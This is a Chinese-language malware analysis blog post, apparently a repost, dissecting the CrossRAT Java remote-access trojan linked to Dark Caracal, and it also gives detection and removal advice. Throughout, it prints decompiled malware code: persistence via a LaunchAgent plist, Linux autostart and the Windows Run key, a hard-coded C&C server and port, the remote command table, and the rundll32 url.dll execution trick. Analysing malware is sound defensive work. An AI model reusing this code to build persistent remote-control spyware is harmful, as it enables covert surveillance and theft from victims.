當前位置:
首頁 > 最新 > CrossRat遠程控制軟體的分析

CrossRat遠程控制軟體的分析

在參加Shmoocon時候認識了很多新朋友,我們在一起探討了一篇關於全球範圍內Caracal網路間黑暗間諜活動的報告。

報告中大致介紹了以下方面:

1. Dark Caracal一直在針對全球個人和機構進行多平台APT監視活動。2. 我們已經識別出了來自數千名受害者的千兆數據,遍布北美,歐洲,中東以及亞洲的21個國家3. 我們發現了第一款用於全球規模間諜活動的移動組件4. Dark Caracal的目標包括政府,軍隊,公共事業,金融機構,製造公司和國防承包商。5. 已經攻擊獲得到的內容包括文檔,通話記錄,錄音,聯繫人信息,簡訊,照片和賬戶數據。6. Dark Caracal符合典型的網路間諜特徵, 他們主要依靠社交媒體,網路釣魚以及某些情況下採用物理手段破話目標設備,系統和賬戶。7. Dark Caracal製作了名為Bandbook的遠程控制軟體,Dark Caracal還使用了以前從未被發現的多平台遠控CrossRat,這一軟體可以在windows,OSX,Linux多平台使用。

該報告介紹的非常徹底,不過我最感興趣的還是CrossRat,在報告中只有一小段篇幅介紹這一部分,所以我在這裡將CrossRat詳細分析一遍。

在這篇文章中,我們將這個威脅進行全面的技術概述,包括其持久性機制和能力。非常感謝Cooper(@cooperq)提供的CrossRat樣本,並且還分享了他的分析筆記,特別是關於C&C協議相關的內容。

CrossRat

在分析報告指出,CrossRat為新發現的能夠針對windows,OSX,LINUX的桌面監控工具。不過OSX這一部分相對來說比較吸引我,所以這篇文章可能會更偏向於MAC。

報告中對CrossRat有一個很好的概述:

它是用java語言進行編寫,能夠以windows,osx,linux為目標,CrossRat能夠對文件系統進行操縱,截取屏幕,運行任意DLL以便於對windows二次感染持久對受害主機控制

『hmar6.jar』是我作為一個樣本提交到VirusTotal的,檢測報告為:https://www.virustotal.com/#/file/15af5bbf3c8d5e5db41fd7c3d722e8b247b40f2da747d5c334f7fd80b715a649/detection

不出所料,即使現在檢測,基本上所有軟體都不會爆毒。

雖然我不是很喜歡java這門語言,但是它是可以反編譯的。這就意味著用這種語言編寫的惡意軟體是很容易進行分析的。比如使用jad,JD-GUI之類的工具可以將jar軟體進行反編譯, 得到java代碼。從2018年起,你甚至可以在雲中反編譯java……

通過JD-GUI打開惡意軟體』hmar6.jar』,會輸出如下內容:

你也可以直接對jar進行解壓,然後手動瀏覽文件。當然這些文件是由java子節碼組成的,你需要使用上述工具對java子節碼進行反編譯。

我們這篇博文的目標是識別和理解惡意軟體的幾個內容:

1. 持久性機制2. C&C通信3. 攻擊特徵/能力

我們將最終分析包含在crossrat包中的client.class文件,因為它包含了惡意軟體的入口,以及主邏輯。我們先看看在這個jar中的其他包:』a』,』b』,』org』。

第一個包名在JD-GUI中簡單的命名為了a。它的任務大致是確定當前運行的操作系統版本。由於java可以運行在windows,macos,linux多個平台上。而且多個平台上實現一些功能邏輯是不同的,所以確定當前操作系統的類型至關重要。

在a/c.class中可以發現CroassRAT支持的平台類型:

$ strings - CrossRAT/a/c.class LINUX MACOS SOLARIS WINDOWS

java中提供了很多當操作系統不可知時,確定操作系統類型的方法,舉個例子,在CrossRAT中就調用了以下內容:

System.getProperty("os.name")

這個方法會返回像」windows」,」linux」,」mac os」這樣的變數。更有趣的是,植入的代碼還包含了各種操作系統的特定代碼,有助於更精確的控制。例如在a/c/a.class中執行/usr/bin/sw_vers:

Object localObject = new File("/usr/bin/sw_vers");...Iterator localIterator = (localObject = e.a((File)localObject)).iterator();while (localIterator.hasNext()) { if ((localObject = (String)localIterator.next()).contains(c.b.a())) { return true; }}if (paramBoolean) { return ((localObject = System.getProperty("os.name").toLowerCase()).contains("mac os x")) || (((String)localObject).contains("macos"));}...

sw_vers這一執行文件是蘋果特有的,並且返回當前macos的版本,在我的機器上返回:

$ /usr/bin/sw_vers ProductName: Mac OS X ProductVersion: 10.13.2 BuildVersion: 17C88

CrossRAT還包含了其他命令去收集操作系統的信息。舉個例子,在crossrat/e.class文件中,我們發現這裡調用了uname -a 這個命令:

public static String c(){ String s = null; Object obj = Runtime.getRuntime().exec(new String[] {"uname", "-a"}); s = ((BufferedReader) (obj = new BufferedReader(new InputStreamReader(((Process) (obj)).getInputStream())))).readLine(); ((BufferedReader) (obj)).close(); return s;}

當uname這一命令使用-a選項不僅會輸出操作系統的版本而且還會輸出當前內核構建以及體系結構的信息,比如操作系統是32位或者64位等。

$ uname -a Darwin Patricks-MacBook-Pro.local 17.3.0 Darwin Kernel Version 17.3.0: root:xnu-4570.31.3~1/RELEASE_X86_64 x86_64

最後,它甚至試圖查詢當前linux特定版本信息的系統文件:

try{ obj1 = a(new File("/etc/os-release"), "=");}catch(Exception _ex){ System.out.println("Failed to load /etc/os-release");}try{ map = a(new File("/etc/lsb-release"), "=");}catch(Exception _ex){ System.out.println("Failed to load /etc/lsb-release");}

最後,發現反彙編之後缺少了一些能夠控制的操作系統的版本,strings之後發現CrossRAT能控制的系統版本很多:

$ strings - a/b/c.class Alpine Linux Antergos Arch Linux Blag Centos Chakra Chapeau Crunchbang Crux Centos Chakra Chapeau Crunchbang Crux Debian Deepin Dragora Debian Debian Kali Linux Deepin Dragora Elementary_os Evolve_os Evolve Os Evolveos Fedora Frugalware Funtoo Fedora Frugalware Funtoo Gentoo Gnewsense Gentoo Jiyuu Jiyuu Kali Kaos Kde Neon Kde_neon Korora Kaos Kali Kali Linux Korora Lmde Lunar La/b/c; Linux Mint Linuxdeepin Linuxmint Lunar Lunar Linux Mageia Mandrake Mandriva Manjaro Mint Mageia Mandrake Mandriva Mandriva Linux Manjaro Manjaro Linux Nixos Nixos Opensuse Oracle_linux Oracle Linux Parabola Peppermint Parabola Parabola Gnu/linux-libre Peppermint Qubes Qubes Raspbian Redhat_enterprise Raspbian Red Hat Redhatenterprise Redhat Enterprise Sabayon Scientificlinux Slackware Solusos Steamos Suse Linux Sabayon Scientific Linux Slackware Solusos Stackmaptable Steamos Tinycore Trisquel Ubuntu Unknown Ubuntu Unknown Unknown Linux Viperr

『a』這一部分已經分析完了,我們繼續分析在JD-GUI中命名為』b』的包:

猜猜』b』這個軟體包是要幹嘛?如果你猜負責持久控制,那麼你就對了

在受感染的機器上,為了確保當操作系統重新啟動時惡意軟體會自動運行,那麼CrossRAT就必須進行一定的轉換。通常針對不同的操作系統,就會有不同的利用代碼。針對windows,linux,mac os都有不同的方法。

在b/c.class中,通過Lauch Agent實現對MACos控制的持久化,首先』a』方法調用』b』方法:

public final void a(){ if(!b().exists()) b().mkdirs(); ...

在』b』方法中,它返回launch agent的目錄。如果當前用戶是root,他會返回系統當中的launch agents(/Library/LaunchAgents/),如果不是root,就會返回當前用戶特定的LaunchAgents(/Users/patrick/Library/LaunchAgents/)。

private static File b(){ String s = System.getProperty("user.home"); if(a.c.b().a() != a.c.a && (new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec("whoami").getInputStream()))).readLine().equals("root")) { s = ""; } return new File((new StringBuilder(String.valueOf(s))).append("/Library/LaunchAgents/").toString());}

這一串代碼會生成launch agent屬性列表(plist):

((PrintWriter) (obj = new PrintWriter(new FileWriter(((File) (obj)))))).println("

");((PrintWriter) (obj)).println("");((PrintWriter) (obj)).println("tLabel");((PrintWriter) (obj)).println((new StringBuilder("t")) .append(super.b).append("").toString());((PrintWriter) (obj)).println("tProgramArguments");((PrintWriter) (obj)).println("t");if(a){ ((PrintWriter) (obj)).println("ttjava"); ((PrintWriter) (obj)).println("tt-jar");}((PrintWriter) (obj)).println((new StringBuilder("tt")) .append(super.c).append("").toString());((PrintWriter) (obj)).println("t");((PrintWriter) (obj)).println("tRunAtLoad");((PrintWriter) (obj)).println("t");((PrintWriter) (obj)).println("");((PrintWriter) (obj)).println("");((PrintWriter) (obj)).close();

只要』AutoLoad』的值為真,無論惡意軟體中是否有特定的程序參數,CrossRat都會自動執行。在代碼中我們可以看到:」java -jar [surper.c]「。為了確定jar文件是感染哪個文件進行持久化的,我們需要進行反編譯,或者運行惡意程序,然後查看plist文件。於是我們在虛擬機中運行了惡意軟體:

$ java -jar hmar6.jar &$ cat ~/Library/LaunchAgents/mediamgrs.plist

Label mediamgrs ProgramArguments java -jar /Users/user/Library/mediamgrs.jar RunAtLoad

發現~/Llibrary/mediamgrs.jar被創建了,我對這個文件進行hash,得到的序列和』hmar6.jar』生成的序列進行比較,發現完全匹配。換句話說,惡意軟體直接把自己複製了進去:

$ md5 ~/Library/mediamgrs.jar MD5 (/Users/user/Library/mediamgrs.jar) = 85b794e080d83a91e904b97769e1e770$ md5 hmar6.jar MD5 (/Users/user/Desktop/hmar6.jar) = 85b794e080d83a91e904b97769e1e770

繼續,我們目前可以了解到它是如何在macos下如何進行持久化攻擊的。關於linux的部分是在b/d.class中:

在上方屏幕截圖中可以發現,CrossRAT通過在~/.config/autostart/目錄下生成自動啟動文件進行持久化控制的。與macos類似,在他的代碼當中也存在 java -jar [this.c],我們在代碼中可以看到,運行過程中this.c會被設置為/usr/var/mediamgrs.jar:

else{ k.K = "/usr/var/";}paramArrayOfString = new File(k.K + "mediamgrs.jar");

如果你想了解更多的關於linux自動啟動方面的內容,可以看一下這篇文章:https://neverbenever.wordpress.com/2015/02/11/how-to-autostart-a-program-in-raspberry-pi-or-linux/

當然,CrossRAT在windows下也存在持久控制的功能。可以在b/e.class代碼中找到這一功能:

public final void a(){ String s; if(a) { s = (new StringBuilder(String.valueOf(System.getProperty("java.home")))) .append("binjavaw.exe").toString(); s = (new StringBuilder(String.valueOf(s))).append(" -jar "") .append(c).append(""").toString(); } else { s = super.c; } Runtime.getRuntime().exec(new String[] { "reg", "add", "HKCUSoftwareMicrosoftWindowsCurrentVersionRun", "/v", super.b, "/t", "REG_SZ", "/d", s, "/f" });}

它使用了修改CurrentVersionRun註冊表的方法,好古老的一種方法。不過惡意軟體還會被植入到自動啟動當中。

對」a」包和」b」包的解釋已經完畢了,現在我們來探討一下」org」包,然後探索到惡意軟體的主要代碼邏輯當中。

org包中有」a.a.a」和」jnativehook」兩個包。

查看a.a.a包中的各個類,我們可以看到這個軟體包中包含了I/O操作這方面的代碼。舉個例子,在a.a.a/b.class中,可以看到一些字元串:

$ strings - strings - src/org/a/a/a/b.class does not exist is not a directory to a subdirectory of itself already exists cannot be written to directory cannot be created does not exist exists but is a directory exists but is read-only Cannot move directory: Destination must not be null Failed to copy full contents from Failed to delete original directory Failed to list contents of File does not exist: Unable to delete file:

很明顯,這一串代碼允許遠程攻擊者在受感染的機器上交互和修改文件系統。

為了在代碼中確認這一點,我們進一步觀察』a.a.a/b.class』中的』a』方法。這一方法中會複製一個文件。

private static void a(File paramFile1, File paramFile2, boolean paramBoolean){ if ((paramFile2.exists()) && (paramFile2.isDirectory())) { throw new IOException("Destination "" + paramFile2 + "" exists but is a directory"); } .... try { localFileInputStream = new FileInputStream(paramFile1); localFileOutputStream = new FileOutputStream(paramFile2); localFileChannel1 = localFileInputStream.getChannel(); localFileChannel2 = localFileOutputStream.getChannel(); l1 = localFileChannel1.size(); long l5; for (l2 = 0L; l2 31457280L ? 31457280L : l4; if ((l5 = localFileChannel2.transferFrom(localFileChannel1, l2, l3)) == 0L) { break; } } ... } .... long l1 = paramFile1.length(); long l2 = paramFile2.length(); if (l1 != l2) { throw new IOException("Failed to copy full contents from "" + paramFile1 + "" to "" + paramFile2 + "" Expected length: " + l1 + " Actual: " + l2); } if(paramBoolean) { paramFile2.setLastModified(paramFile1.lastModified()); }}

在』org』中的另外一個包』jnativehook』是一個開源的java庫,github地址為:https://github.com/kwhat/jnativehook

和jnativehook作者描述一樣,這一部分是惡意軟體用於對受害機器進行滑鼠和鍵盤進行全局控制的代碼。因為單純的用應用層的java代碼實現是幾乎不可能的,因此CrossRAT利用這一個庫實現創建底層系統級別的鉤子,並且將這些事件傳遞給應用程序。

網路間的間諜行動中,捕捉鍵盤記錄是非常重要的一部分。但是我在代碼中沒有看到對」jnativehook」包調用,所以在這一部分看,這一功能似乎並沒有實現。正如報告中指出,惡意軟體的版本號碼是0.1,這就意味著它還在繼續進行和更新。因此沒有完整的功能。

好的,是時候分析CrossRAT的主要代碼邏輯了!

正如開始所說,主要代碼邏輯存在位置為:』crossrat/client.class』文件中。事實上,這一文件中還包含了整個程序的入口(public static void main(String args[])):

$ grep -R main hmar6.jar/*crossrat/client.jad: public static void main(String args[])

當main函數被調用時,會進行如下步驟:

1. 如果必要的話,針對操作系統類型進行持久化控制2. 檢查是否可以連接到命令和控制(C&C)伺服器3. 執行C&C伺服器指定的命令

讓我們進一步分析一下。

惡意軟體首先在本地自主進行持久化控制,就想之前介紹的那樣,這一步驟是根據系統類型選擇特有的方式進行的。並且在修改註冊表或者啟動代理plist之前,惡意軟體會將自身複製到指定位置。我已經在下方代碼中進行了一些注釋,下方代碼就是用來確定安裝路徑的:

public static void main(String args[]){ Object obj; supportedSystems = c.b(); String tempDirectory; //get temp directory s = System.getProperty(s = "java.io.tmpdir"); installDir = ""; //Windows? // build path to Windows install directory (temp directory) if(supportedSystems.a() == c.a) { installDir = (new StringBuilder(String.valueOf(s))) .append("").toString(); } //Mac? // build path to Mac install directory (~/Library) else if(supportedSystems.a() == c.b) { userHome = System.getProperty("user.home"); installDir = (new StringBuilder(String.valueOf(userHome))) .append("/Library/").toString(); } //Linux, etc? // build path to Linux, etc install directory (/usr/var/) else { installDir = "/usr/var/"; } ...

一旦安裝路徑確定之後,惡意軟體會將自身複製到這一路徑當中:

public static void main(String args[]){ ... //build full path and instantiate file obj installFileObj = new File(installDir + "mediamgrs.jar"); //copy self to persistent location org.a.a.a.b.a(((File) (selfAsFile)), installFileObj); ...

通過fs_usage命令,我們可以觀察到文件的複製過程,並更新文件的時間與源文件進行匹配:

# fs_usage -w -f filesystem open F=7 (R_____) /Users/user/Desktop/hmar6.jar java.125131 lseek F=7 O=0x00000000 java.125131 open F=8 (_WC_T_) /Users/user/Library/mediamgrs.jar java.125131 pwrite F=8 B=0x3654f O=0x00000000 java.125131 close F=8 0.000138 java.125131 utimes /Users/user/Library/mediamgrs.jar java.125131# ls -lart /Users/user/Library/mediamgrs.jar -rw-r--r-- 1 user staff 222543 Jan 22 18:54 /Users/user/Library/mediamgrs.jar# ls -lart ~/Desktop/hmar6.jar -rw-r--r-- 1 user wheel 222543 Jan 22 18:54 /Users/user/Desktop/hmar6.jar

惡意軟體複製自己之後,執行特定系統的持久控制命令。就像我們在mac虛擬系統上一樣,惡意軟體會生成一個 launch agent:

public static void main(String args[]){ ... //persist: Windows if ((localObject5 = a.c.b()).a() == a.c.a) { paramArrayOfString = new b.e(paramArrayOfString, (String)localObject4, true); } //persist: Mac else if (((a.a)localObject5).a() == a.c.b) { paramArrayOfString = new b.c(paramArrayOfString, (String)localObject4, true); } //persist: Linux else if ((((a.a)localObject5).d()) && (!GraphicsEnvironment.getLocalGraphicsEnvironment().isHeadlessInstance())) { paramArrayOfString = new b.d(paramArrayOfString, (String)localObject4, true); } ... //error: unknown OS else { throw new RuntimeException("Unknown operating system " + ((a.a)localObject5).c()); } ...

我們發現監視文件系統或者BlockBlock會阻止這一動作:

現在惡意軟體已經將自己持久性的種植到了受控機器上。然後它會繼續檢查C&C伺服器是否在線,在本文開始的報告中,惡意軟體會連接flexberry.com的2223埠。

C&C伺服器的信息在crossrat/k.class文件中:

public static void main(String args[]){ ... //connect to C&C server Socket socket; (socket = new Socket(crossrat.k.b, crossrat.k.c)).setSoTimeout(0x1d4c0); ...

當惡意軟體監測到C&C伺服器給他分發命令時,會傳輸受感染主機的各種信息,如操作系統的版本和名稱,主機名和用戶名。下面代碼顯示了這些信息的生成:

public static void main(String args[]){ ... if((k.g = (k.h = Preferences.userRoot()).get("UID", null)) == null) { k.g = (k.f = UUID.randomUUID()).toString(); k.h.put("UID", k.g); } String s1 = System.getProperty("os.name"); String s2 = System.getProperty("os.version"); args = System.getProperty("user.name"); Object obj1; obj1 = ((InetAddress) (obj1 = InetAddress.getLocalHost())).getHostName(); obj1 = (new StringBuilder(String.valueOf(args))).append("^") .append(((String) (obj1))).toString(); ...

然後惡意軟體解析C&C伺服器的響應,如果發現還存在任務,那就會繼續執行.

你是不是還在困惑惡意軟體實際是怎麼做到的?它的功能是什麼?幸運的是,在之前的報告中提供了一些細節,以下是CrossRat/k.class報告中的注釋,其中包含CrossRat的任務變數:

// Server command prefixes public static String m = "@0000"; // Enumerate root directories on the system. 0 args public static String n = "@0001"; // Enumerate files on the system. 1 arg public static String o = "@0002"; // Create blank file on system. 1 arg public static String p = "@0003"; // Copy File. 2 args public static String q = "@0004"; // Move file. 2 args public static String r = "@0005"; // Write file contents. 4 args public static String s = "@0006"; // Read file contents. 4 args public static String t = "@0007"; // Heartbeat request. 0 args public static String u = "@0008"; // Get screenshot. 0 args public static String v = "@0009"; // Run a DLL 1 arg

在crossrat/client.class文件中可以發現以上代碼的調用。這樣惡意軟體就會解析C&C伺服器的命令。

public static void main(String args[]){ ... //enum root directories if((args1 = args.split((new StringBuilder("")) .append(crossrat.k.d).toString()))[0].equals(k.m)) { new crossrat.e(); crossrat.e.a(); f f1; (f1 = new f()).start(); } //enum files else if(args1[0].equals(k.n)) (args = new crossrat.c(args1[1])).start(); //create blank file else if(args1[0].equals(k.o)) (args = new crossrat.a(args1[1])).start(); //copy file else if(args1[0].equals(k.p)) (args = new crossrat.b(args1[1], args1[2])).start(); ...

讓我們看一下比較有趣的命令,比如屏幕獲取以及載入dll。

當惡意軟體從C&C伺服器中收到『0008』字元串時,會執行j對象,傳入k.c,k.b作為參數:

public static void main(String args[]){ ... //C&C server addr public static String b = "flexberry.com"; //C&C server port public static int c = 2223; //handle cmd: 0008 // pass in C&C addr/port else if(args1[0].equals(k.u)) (args = new j(crossrat.k.b, crossrat.k.c)).start(); ...

j對象是在crossrat/j.class中創建:

通過java.awt.Robot().createScreenCapture函數,惡意軟體進行屏幕捕捉,然後將文件存儲到本地,進而上傳到C&C伺服器中。

另外一個有趣的命令是」0009」,當惡意軟體收到這一命令之後會執行i對象,這一對象在crossrat/i.class創建:

當惡意軟體在windows平台執行時,會調用rundll32函數去載入url.dll,然後調用它的FileProtocolHandler方法:

//load a dll Runtime.getRuntime().exec(new String[] { "rundll32", "url.dll,FileProtocolHandler", file.getAbsolutePath() });

url.dll是一個合法的Microsoft庫,它可以被用來在受感染的系統上啟動可執行文件。例如,以下代碼在Windows上,將啟動計算器:

//execute a binary Runtime.getRuntime().exec(new String[] { "rundll32", "url.dll,FileProtocolHandler", "calc.exe" });

在windows以外的系統上,看起來」0009」命令將通過Desktop.getDesktop().open()方法執行特定的文件:

else if ((locala.a() == c.b) || (locala.a() == c.c)) { try { Desktop.getDesktop().open(localFile); }

結論

在這篇博文中,我們對新發現的跨平台網路間諜軟體CrossRAT進行了深入的技術分析。認為這個惡意軟體不是特別複雜的0.1版本仍然功能齊全,能夠在大量的平台上運行。此外,正如報告中所指出的那樣,利用CrossRAT的攻擊者似乎已經取得了一定成績。

讓我們結束幾個常見問題!

問:如何感染CrossRAT?

答:在他們的報告中指出:「攻擊者主要依靠社交媒體,網路釣魚以及某些情況下的實際訪問來破壞目標系統,設備和帳戶。

問:如何保護自己免受感染?

答:由於CrossRAT是用Java編寫的,所以需要安裝Java。幸運的是最近的版本的macOS不附帶Java。因此,大多數macOS用戶應該是安全的!當然,如果一個Mac用戶已經安裝了Java,或者攻擊者能夠強迫一個天真的用戶先安裝Java,那麼即使在最新版本的MacOS(High Sierra)上,CrossRAT也能運行。

還值得注意的是,目前的殺毒軟體是無法檢測到的。因此,安裝防病毒軟體可能不會阻止或檢測到CrossRAT感染。但是,安裝殺毒軟體是非常必要的。

例如,BlockBlock在嘗試持久性控制時很容易檢測到CrossRAT:

問:如何檢測我是否被感染了?

答:檢測是否運行一個java實例,在macos或者linux上使用』ps』命令:

$ ps aux | grep mediamgrs.jar user 01:51AM /usr/bin/java -jar /Users/user/Library/mediamgrs.jar

大家也可以查找惡意軟體的持久控制文件。這就取決於你當前使用的是什麼系統,根據您的系統進而確定你是否被感染。

windows:檢查:HKCUSoftwareMicrosoftWindowsCurrentVersionRun 註冊表。如果被感染,在註冊表中會包含java -jar mediamgrs.jar這樣的命令。MAC:在~/Library中檢查是否有mediamgrs.jar文件。並且檢查/Library/LaunchAgents或者在~/Library/LaunchAgents目錄中是否有mediamgrs.plist文件。Linux:在/usr/var/中檢查是否有mediamgrs.jar文件。並且查看在~/.config/autostart中是否有類似mediamgrs.desktop的文件。

問:在受感染的系統中,CrossRat能做什麼?

答:CrossRAT允許遠程攻擊者完全控制受感染的系統。其中功能包括:

文件上傳/下載/創建/刪除屏幕截圖運行任意可執行文件

文章轉自嘶吼


喜歡這篇文章嗎?立刻分享出去讓更多人知道吧!

本站內容充實豐富,博大精深,小編精選每日熱門資訊,隨時更新,點擊「搶先收到最新資訊」瀏覽吧!


請您繼續閱讀更多來自 聚鋒實驗室 的精彩文章:

英特爾固件更新後,Broadwell和Haswell CPU出現重啟問題

TAG:聚鋒實驗室 |